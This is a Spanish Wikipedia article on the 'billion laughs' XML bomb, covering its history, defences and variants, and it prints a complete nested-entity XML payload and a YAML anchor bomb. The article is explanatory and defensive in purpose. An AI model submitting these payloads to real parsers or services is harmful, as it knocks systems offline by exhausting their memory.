Mil millones de risas

De Wikipedia, la enciclopedia libre

En la seguridad informática, un ataque de mil millones de risas es un tipo de ataque de denegación-de-servicio (DoS) que apunta a parsers de documentos XML.[1]

Es también referido a como una bomba de XML o como un ataque de expansión de entidad exponencial.[2]

Detalles[editar]

El ataque de ejemplo consta de definir 10 entidades, cada cual definida como constando de 10 de la entidad anterior, con el documento que consiste en una sola instancia de la entidad mayor, el cual se expande a mil millones de copias de la primera entidad.

En el ejemplo citado más frecuentemente, la primera entidad es el texto "lol", por ello el nombre "mil millones de risas". La cantidad de memoria de ordenador usada probablemente superaría a la disponible para el proceso de parseo del XML (ciertamente lo fue en el tiempo cuando la vulnerabilidad fue informada por primera vez).

Mientras la forma original del ataque estuvo apuntada específicamente a XML parsers, el término puede ser aplicable a temas similares también.[1]

El problema fue reportado por primera vez en 2002, pero empezó para ser ampliamente dirigido en 2008.[3][4]

Las defensas contra esta clase de ataque incluyen limitar la memoria destinada en un parser individual si la pérdida del documento es aceptable, o tratar entidades simbólicamente y expandiéndolas perezosamente sólo cuándo (y en la medida que) su contenido requiera ser utilizado.

Ejemplo de código[editar]

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

Cuando un parser XML carga este documento, ve que incluye un elemento raíz, "lolz", aquello contiene el texto "&lol9;". Sin embargo, "&lol9;" es una entidad definida que se expande a un texto que contiene diez textos "&lol8;". Cada texto "&lol8;" es una entidad definida que expande a diez textos "&lol7;", y así. Después de que todas las expansiones de entidad han sido procesadas, este pequeño (< 1 KB) bloque de XML de hecho contendrá 109 = mil millones de "lol"s, usando casi 3 gigabytes de memoria.[5]

Variaciones[editar]

El ataque de mil millones de risas descrito más arriba toma una cantidad exponencial de espacio. La variación de explosión cuadrática causa crecimiento cuadrático en requisitos de almacenamiento sencillamente repitiendo una entidad grande una y otra vez, para evitar contramedidas que detectan entidades fuertemente anidados.[6]​ (Ver teoría de complejidad computacional para comparaciones de clases de crecimiento diferente.)

Un ataque de mil millones de risas existe para cualquier formato de archivo que pueda contener referencias, por ejemplo esta bomba YAML:

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Véase también[editar]

  • Bomba de bifurcación: un método similar para agotar los recursos de un sistema a través de recursión
  • Bomba zip: un ataque similar que utiliza archivos comprimidos
  • ataque de entidad XML externa: un ataque de XML para retornar archivos arbitrarios de servidor

Referencias[editar]

  1. a b Harold, Elliotte Rusty (27 de mayo de 2005). «Tip: Configure SAX parsers for secure processing». IBM developerWorks. Archivado desde el original el 4 de marzo de 2011. Consultado el 4 de marzo de 2011. 
  2. Sullivan, Bryan (noviembre de 2009). «XML Denial of Service Attacks and Defenses». MSDN Magazine (Microsoft Corporation). Consultado el 31 de mayo de 2011. 
  3. «SecurityFocus». 16 de diciembre de 2002. Archivado desde el original el 16 de abril de 2021. Consultado el 3 de julio de 2015. 
  4. «CVE-2003-1564». Common Vulnerabilities and Exposures. The MITRE Corporation. 2 de febrero de 2003. Consultado el 1 de junio de 2011. 
  5. Bryan Sullivan. «XML Denial of Service Attacks and Defenses». Consultado el 21 de diciembre de 2011. 
  6. XML vulnerabilities in Python